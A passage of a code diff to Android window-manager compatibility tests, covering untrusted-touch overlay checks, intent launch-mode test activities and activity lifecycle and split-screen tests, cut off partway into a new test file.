+        addActivityOverlay(packageName, extras, options);
+    }
+
+    private void addActivityOverlay(String packageName, float opacity,
+            BlockingResultReceiver tokenReceiver) {
+        Bundle extras = new Bundle();
+        extras.putFloat(Components.OverlayActivity.EXTRA_OPACITY, opacity);
+        extras.putParcelable(Components.OverlayActivity.EXTRA_TOKEN_RECEIVER, tokenReceiver);
+        addActivityOverlay(packageName, extras, /* options */ null);
+    }
+
+    private void addActivityOverlay(String packageName, @Nullable Bundle extras,
+            @Nullable Bundle options) {
+        addActivity(repackage(packageName, Components.OverlayActivity.COMPONENT), extras, options);
+    }
+
+    private void addActivity(ComponentName component, @Nullable Bundle extras,
+            @Nullable Bundle options) {
+        Intent intent = new Intent();
+        intent.setComponent(component);
+        if (extras != null) {
+            intent.putExtras(extras);
+        }
+        mActivity.startActivity(intent, options);
+        String packageName = component.getPackageName();
+        String activity = ComponentNameUtils.getActivityName(component);
+        if (!mWmState.waitFor("activity window " + activity,
+                state -> activity.equals(state.getFocusedActivity())
+                        && state.hasActivityState(component, STATE_RESUMED))) {
+            fail("Activity from app " + packageName + " did not appear on time");
+        }
+    }
+
+    private void removeActivityOverlays() {
+        Intent intent = new Intent(mContext, mActivity.getClass());
+        // Will clear any activity on top of it and it will become the new top
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
+        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
+        mActivity.startActivity(intent);
+    }
+
+    private void waitForNoActivityOverlays(String message) {
+        // Base activity focused means no activities on top
+        ComponentName component = mActivity.getComponentName();
+        String name = ComponentNameUtils.getActivityName(component);
+        if (!mWmState.waitFor("test rule activity focused",
+                state -> name.equals(state.getFocusedActivity())
+                        && state.hasActivityState(component, STATE_RESUMED))) {
+            fail(message);
+        }
+    }
+
+    private void addSawOverlay(String packageName, String windowSuffix, float opacity)
+            throws Throwable {
+        String name = getWindowName(packageName, windowSuffix);
+        getService(packageName).showSystemAlertWindow(name, opacity);
+        mSawWindowsAdded.add(name);
+        if (!mWmState.waitFor("saw window " + name,
+                state -> state.isWindowVisible(name) && state.isWindowSurfaceShown(name))) {
+            fail("Saw window " + name + " did not appear on time");
+        }
+    }
+
+    private void waitForNoSawOverlays(String message) {
+        if (!mWmState.waitFor("no SAW windows",
+                state -> mSawWindowsAdded.stream().allMatch(w -> !state.isWindowVisible(w)))) {
+            fail(message);
+        }
+        mSawWindowsAdded.clear();
+    }
+
+    private void removeOverlays() throws Throwable {
+        for (FutureConnection<IUntrustedTouchTestService> connection : mConnections.values()) {
+            connection.getCurrent().removeOverlays();
+        }
+        // We need to stop the app because not every overlay is created via the service (eg.
+        // activity overlays and custom toasts)
+        for (String app : APPS) {
+            stopPackage(app);
+        }
+        waitForNoSawOverlays("SAWs not removed on time");
+        removeActivityOverlays();
+        waitForNoActivityOverlays("Activities not removed on time");
+        removeMyCustomToastOverlay();
+        waitForNoToastOverlays("Toasts not removed on time");
+    }
+
+    private void stopPackage(String packageName) {
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mActivityManager.forceStopPackage(packageName));
+    }
+
+    private int setBlockUntrustedTouchesMode(int mode) throws Exception {
+        return SystemUtil.callWithShellPermissionIdentity(() -> {
+            int previous = mInputManager.getBlockUntrustedTouchesMode(mContext);
+            mInputManager.setBlockUntrustedTouchesMode(mContext, mode);
+            return previous;
+        });
+    }
+
+    private float setMaximumObscuringOpacityForTouch(float opacity) throws Exception {
+        return SystemUtil.callWithShellPermissionIdentity(() -> {
+            float previous = mInputManager.getMaximumObscuringOpacityForTouch();
+            mInputManager.setMaximumObscuringOpacityForTouch(opacity);
+            return previous;
+        });
+    }
+
+    private IUntrustedTouchTestService getService(String packageName) throws Exception {
+        return mConnections.computeIfAbsent(packageName, this::connect).get(TIMEOUT_MS);
+    }
+
+    private FutureConnection<IUntrustedTouchTestService> connect(String packageName) {
+        FutureConnection<IUntrustedTouchTestService> connection =
+                new FutureConnection<>(IUntrustedTouchTestService.Stub::asInterface);
+        Intent intent = new Intent();
+        intent.setComponent(repackage(packageName, Components.UntrustedTouchTestService.COMPONENT));
+        assertTrue(mContext.bindService(intent, connection, Context.BIND_AUTO_CREATE));
+        return connection;
+    }
+
+    private static String getWindowName(String packageName, String windowSuffix) {
+        return packageName + "." + windowSuffix;
+    }
+
+    private static ComponentName repackage(String packageName, ComponentName baseComponent) {
+        return new ComponentName(packageName, baseComponent.getClassName());
+    }
+
+    public static class TestActivity extends Activity {
+        public View view;
+
+        @Override
+        protected void onCreate(@Nullable Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            view = new View(this);
+            view.setBackgroundColor(ACTIVITY_COLOR);
+            setContentView(view);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
index 9ba003c..5dc7ffe 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
@@ -17,6 +17,7 @@
 package android.server.wm.intent;
 
 import android.app.Activity;
+import android.os.Bundle;
 
 /**
  * A collection of activities with various launch modes used in the intent tests.
@@ -27,60 +28,74 @@
  */
 public class Activities {
 
-    public static class TrackerActivity extends Activity {
+    private static class BaseActivity extends Activity {
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            setTitle(getClass().getSimpleName());
+        }
     }
 
-    public static class RegularActivity extends Activity {
+    public static class TrackerActivity extends BaseActivity {
     }
 
-    public static class SingleTopActivity extends Activity {
+    public static class RegularActivity extends BaseActivity {
     }
 
-    public static class SingleInstanceActivity extends Activity {
+    public static class SingleTopActivity extends BaseActivity {
     }
 
-    public static class SingleInstanceActivity2 extends Activity {
+    public static class SingleInstanceActivity extends BaseActivity {
     }
 
-    public static class SingleTaskActivity extends Activity {
+    public static class SingleInstanceActivity2 extends BaseActivity {
     }
 
-    public static class SingleTaskActivity2 extends Activity {
+    public static class SingleTaskActivity extends BaseActivity {
     }
 
-    public static class TaskAffinity1Activity extends Activity {
+    public static class SingleTaskActivity2 extends BaseActivity {
     }
 
-    public static class TaskAffinity1Activity2 extends Activity {
+    public static class SingleInstancePerTaskActivity extends BaseActivity {
     }
 
-    public static class TaskAffinity2Activity extends Activity {
+    public static class SingleInstancePerTaskDocumentNeverActivity extends BaseActivity {
     }
 
-    public static class TaskAffinity3Activity extends Activity {
+    public static class TaskAffinity1Activity extends BaseActivity {
     }
 
-    public static class ClearTaskOnLaunchActivity extends Activity {
+    public static class TaskAffinity1Activity2 extends BaseActivity {
     }
 
-    public static class DocumentLaunchIntoActivity extends Activity {
+    public static class TaskAffinity2Activity extends BaseActivity {
     }
 
-    public static class DocumentLaunchAlwaysActivity extends Activity {
+    public static class TaskAffinity3Activity extends BaseActivity {
     }
 
-    public static class DocumentLaunchNeverActivity extends Activity {
+    public static class ClearTaskOnLaunchActivity extends BaseActivity {
     }
 
-    public static class NoHistoryActivity extends Activity {
+    public static class DocumentLaunchIntoActivity extends BaseActivity {
     }
 
-    public static class LauncherActivity extends Activity {
+    public static class DocumentLaunchAlwaysActivity extends BaseActivity {
     }
 
-    public static class RelinquishTaskIdentityActivity extends Activity {
+    public static class DocumentLaunchNeverActivity extends BaseActivity {
     }
 
-    public static class TaskAffinity1RelinquishTaskIdentityActivity extends Activity {
+    public static class NoHistoryActivity extends BaseActivity {
+    }
+
+    public static class LauncherActivity extends BaseActivity {
+    }
+
+    public static class RelinquishTaskIdentityActivity extends BaseActivity {
+    }
+
+    public static class TaskAffinity1RelinquishTaskIdentityActivity extends BaseActivity {
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/Cases.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/Cases.java
index 3428c15..a5cce2a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/Cases.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/Cases.java
@@ -21,6 +21,7 @@
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_DOCUMENT;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NO_HISTORY;
 import static android.content.Intent.FLAG_ACTIVITY_PREVIOUS_IS_TOP;
 import static android.content.Intent.FLAG_ACTIVITY_REORDER_TO_FRONT;
 import static android.content.Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED;
@@ -67,6 +68,8 @@
             "FLAG_ACTIVITY_PREVIOUS_IS_TOP");
     public static final IntentFlag REORDER_TO_FRONT = flag(FLAG_ACTIVITY_REORDER_TO_FRONT,
             "FLAG_ACTIVITY_REORDER_TO_FRONT");
+    public static final IntentFlag NO_HISTORY = flag(FLAG_ACTIVITY_NO_HISTORY,
+            "FLAG_ACTIVITY_NO_HISTORY");
 
     // Flag only used for parsing intents that contain no flags.
     private static final IntentFlag NONE = flag(0, "");
@@ -80,7 +83,8 @@
             MULTIPLE_TASK,
             RESET_TASK_IF_NEEDED,
             PREVIOUS_IS_TOP,
-            REORDER_TO_FRONT
+            REORDER_TO_FRONT,
+            NO_HISTORY
     );
 
     // Definition of intents used across multiple test cases.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java
index a259588..e1e247e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java
@@ -36,7 +36,7 @@
      */
     public void cleanUp(List<ComponentName> activitiesInUsedInTest) throws Exception {
         launchHomeActivityNoWait();
-        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+        removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
 
         this.getWmState().waitForWithAmState(
                 state -> state.containsNoneOf(activitiesInUsedInTest),
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
index 6219478..706db07 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
@@ -267,6 +267,11 @@
 
         if (activity == null) {
             return activityContext;
+        } else if (startForResult && activityContext == activity) {
+            // The result may have been sent back to caller activity and forced the caller activity
+            // to be resumed again, before the started activity actually resumed. Just wait for idle
+            // for that case.
+            getInstrumentation().waitForIdleSync();
         } else {
             waitAndAssertActivityLaunched(activity, intent);
         }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchSequence.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchSequence.java
index 69a1f31..5552e3d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchSequence.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchSequence.java
@@ -143,7 +143,7 @@
      * intent.
      */
     static LaunchIntent intent(Class<? extends android.app.Activity> activity) {
-        return new LaunchIntent(Lists.newArrayList(), createComponent(activity), false);
+        return new LaunchIntent(Lists.newArrayList(), createComponent(activity), null, false);
     }
 
 
@@ -154,7 +154,7 @@
      * @param activity the activity to create an intent for.
      */
     static LaunchIntent intentForResult(Class<? extends android.app.Activity> activity) {
-        return new LaunchIntent(Lists.newArrayList(), createComponent(activity), true);
+        return new LaunchIntent(Lists.newArrayList(), createComponent(activity), null, true);
     }
 
     String packageName = getInstrumentation().getTargetContext().getPackageName();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/Persistence.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/Persistence.java
index 5d80e32..457e709 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/Persistence.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/Persistence.java
@@ -20,6 +20,7 @@
 
 import android.content.ComponentName;
 import android.content.Intent;
+import android.net.Uri;
 import android.server.wm.WindowManagerState;
 
 import com.google.common.collect.Lists;
@@ -225,22 +226,29 @@
         private static final String FLAGS_KEY = "flags";
         private static final String PACKAGE_KEY = "package";
         private static final String CLASS_KEY = "class";
+        private static final String DATA_KEY = "data";
         private static final String START_FOR_RESULT_KEY = "startForResult";
 
         private final List<IntentFlag> mIntentFlags;
         private final ComponentName mComponentName;
+        private final String mData;
         private final boolean mStartForResult;
 
-        public LaunchIntent(List<IntentFlag> intentFlags, ComponentName componentName,
+        public LaunchIntent(List<IntentFlag> intentFlags, ComponentName componentName, String data,
                 boolean startForResult) {
             mIntentFlags = intentFlags;
             mComponentName = componentName;
+            mData = data;
             mStartForResult = startForResult;
         }
 
         @Override
         public Intent getActualIntent() {
-            return new Intent().setComponent(mComponentName).setFlags(buildFlag());
+            final Intent intent = new Intent().setComponent(mComponentName).setFlags(buildFlag());
+            if (mData != null && !mData.isEmpty()) {
+                intent.setData(Uri.parse(mData));
+            }
+            return intent;
         }
 
         @Override
@@ -272,11 +280,13 @@
             List<IntentFlag> flags = IntentFlag.parse(table, fakeIntent.getString(FLAGS_KEY));
 
             boolean startForResult = fakeIntent.optBoolean(START_FOR_RESULT_KEY, false);
+            String uri = fakeIntent.optString(DATA_KEY);
             return new LaunchIntent(flags,
                     new ComponentName(
                             fakeIntent.getString(PACKAGE_KEY),
-                            fakeIntent.getString(CLASS_KEY)), startForResult);
-
+                            fakeIntent.getString(CLASS_KEY)),
+                            uri,
+                            startForResult);
         }
 
         @Override
@@ -290,7 +300,7 @@
         public LaunchIntent withFlags(IntentFlag... flags) {
             List<IntentFlag> intentFlags = Lists.newArrayList(mIntentFlags);
             Collections.addAll(intentFlags, flags);
-            return new LaunchIntent(intentFlags, mComponentName, mStartForResult);
+            return new LaunchIntent(intentFlags, mComponentName, mData, mStartForResult);
         }
 
         public List<IntentFlag> getIntentFlags() {
@@ -300,10 +310,6 @@
         public ComponentName getComponentName() {
             return mComponentName;
         }
-
-        public boolean isStartForResult() {
-            return mStartForResult;
-        }
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
index 58b6325..461c649 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
@@ -17,6 +17,7 @@
 package android.server.wm.lifecycle;
 
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.content.Intent.FLAG_ACTIVITY_FORWARD_RESULT;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.StateLogger.log;
@@ -34,6 +35,7 @@
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_USER_LEAVE_HINT;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -91,6 +93,7 @@
     static final String EXTRA_FINISH_IN_ON_STOP = "finish_in_on_stop";
     static final String EXTRA_START_ACTIVITY_IN_ON_CREATE = "start_activity_in_on_create";
     static final String EXTRA_START_ACTIVITY_WHEN_IDLE = "start_activity_when_idle";
+    static final String EXTRA_ACTIVITY_ON_USER_LEAVE_HINT = "activity_on_user_leave_hint";
 
     static final ComponentName CALLBACK_TRACKING_ACTIVITY =
             getComponentName(CallbackTrackingActivity.class);
@@ -249,8 +252,10 @@
      * time.
      * @return The launched Activity instance.
      */
-    Activity launchActivityAndWait(Class<? extends Activity> activityClass) throws Exception {
-        return new Launcher(activityClass).launch();
+    @SuppressWarnings("unchecked")
+    <T extends Activity> T launchActivityAndWait(Class<? extends Activity> activityClass)
+            throws Exception {
+        return (T) new Launcher(activityClass).launch();
     }
 
     /**
@@ -414,6 +419,15 @@
             super.onRestart();
             mLifecycleLogClient.onActivityCallback(ON_RESTART);
         }
+
+        @Override
+        protected void onUserLeaveHint() {
+            super.onUserLeaveHint();
+
+            if (getIntent().getBooleanExtra(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT, false)) {
+                mLifecycleLogClient.onActivityCallback(ON_USER_LEAVE_HINT);
+            }
+        }
     }
 
     // Test activity
@@ -428,6 +442,10 @@
     public static class ThirdActivity extends LifecycleTrackingActivity {
     }
 
+    // Test activity
+    public static class SideActivity extends LifecycleTrackingActivity {
+    }
+
     // Translucent test activity
     public static class TranslucentActivity extends LifecycleTrackingActivity {
     }
@@ -489,6 +507,29 @@
     }
 
     /**
+     * Test activity that launches {@link TrampolineActivity} for result.
+     */
+    public static class LaunchForwardResultActivity extends CallbackTrackingActivity {
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            final Intent intent = new Intent(this, TrampolineActivity.class);
+            startActivityForResult(intent, 1 /* requestCode */);
+        }
+    }
+
+    public static class TrampolineActivity extends CallbackTrackingActivity {
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            final Intent intent = new Intent(this, ResultActivity.class);
+            intent.setFlags(FLAG_ACTIVITY_FORWARD_RESULT);
+            startActivity(intent);
+            finish();
+        }
+    }
+
+    /**
      * Test activity that launches {@link ResultActivity} for result.
      */
     public static class LaunchForResultActivity extends CallbackTrackingActivity {
@@ -568,7 +609,8 @@
 
     /** Test activity that can call {@link Activity#recreate()} if requested in a new intent. */
     public static class SingleTopActivity extends CallbackTrackingActivity {
-
+        static final String EXTRA_LAUNCH_ACTIVITY = "extra_launch_activity";
+        static final String EXTRA_NEW_TASK = "extra_new_task";
         @Override
         protected void onNewIntent(Intent intent) {
             super.onNewIntent(intent);
@@ -576,6 +618,19 @@
                 recreate();
             }
         }
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+
+            if (getIntent().getBooleanExtra(EXTRA_LAUNCH_ACTIVITY, false)) {
+                final Intent intent = new Intent(this, SingleTopActivity.class);
+                if (getIntent().getBooleanExtra(EXTRA_NEW_TASK, false)) {
+                    intent.setFlags(FLAG_ACTIVITY_NEW_TASK);
+                }
+                startActivityForResult(intent, 1 /* requestCode */);
+            }
+        }
     }
 
     // Config change handling activity
@@ -597,9 +652,13 @@
 
             // Enter picture in picture with the given aspect ratio if provided
             if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
-                enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+                enterPip();
             }
         }
+
+        void enterPip() {
+            enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+        }
     }
 
     public static class AlwaysFocusablePipActivity extends CallbackTrackingActivity {
@@ -685,68 +744,37 @@
         return new ComponentName(getInstrumentation().getContext(), activity);
     }
 
-    void moveTaskToPrimarySplitScreenAndVerify(Activity activity) {
+    void moveTaskToPrimarySplitScreenAndVerify(Activity primaryActivity,
+            Activity secondaryActivity) throws Exception {
         getLifecycleLog().clear();
 
-        moveTaskToPrimarySplitScreen(activity.getTaskId(), true /* showSideActivity */);
+        mWmState.computeState(secondaryActivity.getComponentName());
+        moveActivitiesToSplitScreen(primaryActivity.getComponentName(),
+                secondaryActivity.getComponentName());
 
-        final Class<? extends Activity> activityClass = activity.getClass();
-        waitAndAssertActivityEnterSplitScreenTransitions(activityClass, "enterSplitScreen");
-    }
-
-    /**
-     * Blocking call that will wait for activities to perform the entering split screen sequence of
-     * transitions.
-     * @see LifecycleTracker#waitForActivityTransitions(Class, List)
-     */
-    final void waitAndAssertActivityEnterSplitScreenTransitions(
-            Class<? extends Activity> activityClass, String message) {
-        log("Start waitAndAssertActivitySplitScreenTransitions");
+        final Class<? extends Activity> activityClass = primaryActivity.getClass();
 
         final List<LifecycleLog.ActivityCallback> expectedTransitions =
                 new ArrayList<LifecycleLog.ActivityCallback>(
                         LifecycleVerifier.getSplitScreenTransitionSequence(activityClass));
-
         final List<LifecycleLog.ActivityCallback> expectedTransitionForMinimizedDock =
                 LifecycleVerifier.appendMinimizedDockTransitionTrail(expectedTransitions);
 
-        mLifecycleTracker.waitForActivityTransitions(activityClass, expectedTransitions);
-
-        if (!expectedTransitions.contains(ON_MULTI_WINDOW_MODE_CHANGED)) {
-            LifecycleVerifier.assertSequenceMatchesOneOf(
-                    activityClass,
-                    getLifecycleLog(),
-                    Arrays.asList(expectedTransitions, expectedTransitionForMinimizedDock),
-                    message);
-        } else {
-            final List<LifecycleLog.ActivityCallback> extraSequence =
-                    new ArrayList<LifecycleLog.ActivityCallback>(
-                            Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST,
-                                    ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE,
-                                    ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED));
-            final List<LifecycleLog.ActivityCallback> extraSequenceForMinimizedDock =
-                    LifecycleVerifier.appendMinimizedDockTransitionTrail(extraSequence);
-            final int displayWindowingMode =
-                    getDisplayWindowingModeByActivity(getComponentName(activityClass));
-            if (displayWindowingMode != WINDOWING_MODE_FULLSCREEN) {
-                // For non-fullscreen display mode, there won't be a multi-window callback.
-                expectedTransitions.removeAll(Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
-                expectedTransitionForMinimizedDock.removeAll(
-                        Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
-                extraSequence.removeAll(Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
-                extraSequenceForMinimizedDock.removeAll(
-                        Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
-            }
-            LifecycleVerifier.assertSequenceMatchesOneOf(
-                    activityClass,
-                    getLifecycleLog(),
-                    Arrays.asList(
-                            expectedTransitions,
-                            extraSequence,
-                            expectedTransitionForMinimizedDock,
-                            extraSequenceForMinimizedDock),
-                    message);
+        final int displayWindowingMode =
+                getDisplayWindowingModeByActivity(getComponentName(activityClass));
+        if (displayWindowingMode != WINDOWING_MODE_FULLSCREEN) {
+            // For non-fullscreen display mode, there won't be a multi-window callback.
+            expectedTransitions.removeAll(Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+            expectedTransitionForMinimizedDock.removeAll(
+                    Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
         }
+
+        mLifecycleTracker.waitForActivityTransitions(activityClass, expectedTransitions);
+        LifecycleVerifier.assertSequenceMatchesOneOf(
+                activityClass,
+                getLifecycleLog(),
+                Arrays.asList(expectedTransitions, expectedTransitionForMinimizedDock),
+                "enterSplitScreen");
     }
 
     final ActivityOptions getLaunchOptionsForFullscreen() {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
index 3c8132c..64d53d8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
@@ -38,7 +38,6 @@
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.filters.MediumTest;
 
 import org.junit.Before;
@@ -52,7 +51,6 @@
  */
 @MediumTest
 @Presubmit
-@FlakyTest(bugId=137329632)
 @android.server.wm.annotation.Group3
 public class ActivityLifecycleFreeformTests extends ActivityLifecycleClientTestBase {
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
index 0062dac..e03ec7e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
@@ -85,35 +85,28 @@
         assumeTrue(supportsSecureLock());
         assumeTrue(supportsSplitScreenMultiWindow());
 
-        // TODO(b/149338177): Fix test to pass with organizer API.
-        mUseTaskOrganizer = false;
-
+        final Activity secondaryActivity = launchActivityAndWait(SideActivity.class);
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
-
-        // Launch second activity to side
-        final Activity secondActivity = new Launcher(SecondActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity, secondaryActivity);
 
         // Show and hide lock screen
         getLifecycleLog().clear();
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.setLockCredential().gotoKeyguard();
             waitAndAssertActivityStates(state(firstActivity, ON_STOP));
-            waitAndAssertActivityStates(state(secondActivity, ON_STOP));
+            waitAndAssertActivityStates(state(secondaryActivity, ON_STOP));
 
             LifecycleVerifier.assertResumeToStopSequence(FirstActivity.class, getLifecycleLog());
-            LifecycleVerifier.assertResumeToStopSequence(SecondActivity.class, getLifecycleLog());
+            LifecycleVerifier.assertResumeToStopSequence(SideActivity.class, getLifecycleLog());
             getLifecycleLog().clear();
         } // keyguard hidden
 
         waitAndAssertActivityStates(state(firstActivity, ON_RESUME),
-                state(secondActivity, ON_RESUME));
+                state(secondaryActivity, ON_RESUME));
         LifecycleVerifier.assertRestartAndResumeSequence(FirstActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertRestartAndResumeSequence(SecondActivity.class, getLifecycleLog());
+        LifecycleVerifier.assertRestartAndResumeSequence(SideActivity.class, getLifecycleLog());
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
new file mode 100644
index 0000000..f7b7f49
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
@@ -0,0 +1,373 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.lifecycle;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_ACTIVITY_RESULT;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_CREATE;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_DESTROY;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_PAUSE;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_POST_CREATE;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESUME;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_START;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_USER_LEAVE_HINT;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
+import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Intent;
+import android.platform.test.annotations.Presubmit;
+
+import androidx.test.filters.MediumTest;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:ActivityLifecycleLegacySplitScreenTests
+ */
+@MediumTest
+@Presubmit
+@android.server.wm.annotation.Group3
+public class ActivityLifecycleLegacySplitScreenTests extends ActivityLifecycleClientTestBase {
+
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        assumeTrue(supportsSplitScreenMultiWindow());
+    }
+
+    @Test
+    public void testResumedWhenRecreatedFromInNonFocusedTask() throws Exception {
+        // Launch an activity that will be moved to split-screen secondary
+        final Activity sideActivity = launchActivityAndWait(SideActivity.class);
+
+        // Launch first activity
